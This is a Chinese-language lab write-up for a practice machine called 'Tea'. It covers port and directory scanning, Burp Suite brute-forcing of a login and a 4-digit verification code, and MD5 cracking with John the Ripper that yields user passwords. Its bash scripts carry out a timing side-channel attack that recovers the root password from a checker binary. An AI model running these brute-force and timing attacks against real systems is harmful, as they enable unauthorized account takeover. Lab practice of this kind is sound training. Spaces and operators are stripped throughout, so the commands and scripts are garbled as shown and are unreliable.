Tea靶场学习笔记
正文1、端口扫描2、目录扫描3、网页用户名密码爆破4、John the Ripper工具hash密码爆破5、脚本破解check_root_passwd正文kali攻击机地址192.168.1.13靶场地址192.168.1.2051、端口扫描在kali里使用nmap工具nmap-sV-v-T4-A192.168.1.205可以看到22和80端口是开放的。2、目录扫描dirsearch-uhttp://192.168.1.205访问网页http://192.168.1.205/login.php3、网页用户名密码爆破尝试用户名为admin密码用brupsuit单点爆破登录进去发现4个用户下面有个邮箱的提示那我们就退出登录重新邮箱登录选择使用验证码登录然后用Brupsuit对验证码4位数字爆破发现用户名lingmjtea.dsz、验证码8379是可行的进去之后发现给了三个用户和密码的哈希值4、John the Ripper工具hash密码爆破使用John the Ripper工具对这些密码hash值进行爆破john tmp--wordlistuser11.txt--formatraw-md5john调用 John the Ripper 工具tmp要破解的哈希文件里面存着 MD5 哈希值--wordlistuser11.txt使用user11.txt字典进行字典攻击--formatmd5指定要破解的哈希类型是 MD5破解出来Flower用户的密码是Cartman。通过命令john user11.txt --show --formatraw-md5可以看到破解出来的结果user11.txt你要查看结果的哈希文件必须写--show告诉 John 显示已破解的密码--formatraw-md5指定哈希类型避免识别错误Red:123bugme Flower:Cartmanssh连接后拿到user.txt:5、脚本破解check_root_passwd进入/opt目录下可以看到check_root_passwd文件但是当前red用户没有权限读取经过手动测试在输入长度为10位的时候check_root_passwd文件会有一个明显的停顿可以用以下1.sh脚本来测试#!/bin/bashstart_time_ns$(date%s%N)output$(/opt/check_root_passwd$1)end_time_ns$(date%s%N)elapsed_ns$((end_time_ns-start_time_ns))elapsed_sec$(awk-vns$elapsed_nsBEGIN { printf %.6f, ns / 1000000000 })echoOutput:$outputechoTime elapsed:$elapsed_secseconds输入命令bash1.sh1234567890那就编写一个破解10位数密码的2.sh脚本#!/bin/bash# 1. 定义字符集密码可能包含的所有字符数字小写字母大写字母charset0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ# 2. 初始化变量 known用来保存已经猜对的密码前缀一开始是空known# 3. 外层循环控制密码的长度从第1位到第10位共10位for((i1;i10;i));do# 4. 初始化当前位的最佳字符和最长耗时best_char# 用来存当前位“耗时最长”的字符就是正确字符max_time0# 用来存当前位所有测试中的最长耗时初始为0# 5. 内层循环遍历字符集中的每一个字符逐个测试# echo $charset | fold -w1把字符集拆成单个字符比如把abc拆成a、b、cforcin$(echo$charset|fold-w1);do# 6. 构造测试用的密码 attempt# 格式已知前缀 当前测试字符 补全剩余位数为a凑够10位attempt$known$c$(head-c$((10- i))/dev/zero | tr \0 a)# 7. 记录程序运行前的开始时间纳秒级保证高精度start$(date%s%N)# 8. 运行密码校验程序传入测试密码输出重定向到 /dev/null不显示结果/opt/check_root_passwd$attempt/dev/null# 9. 记录程序运行后的结束时间end$(date%s%N)# 10. 计算程序运行的耗时纳秒elapsed$((end-start))# 11. 判断当前字符的耗时是否是目前最长的if((elapsedmax_time));thenmax_time$elapsed# 更新最长耗时best_char$c# 更新当前位的最佳字符正确字符fidone# 内层字符循环结束# 12. 把当前位的正确字符拼接到已知密码里known$best_char# 13. 打印当前爆破进度方便看猜了多少位echo[$i] -$known(time:$max_timens)done# 外层位数循环结束通过以下命令vim2.shchmodx2.sh ./2.sh拿到root用户的密码toddzhennb成功进入root用户目录下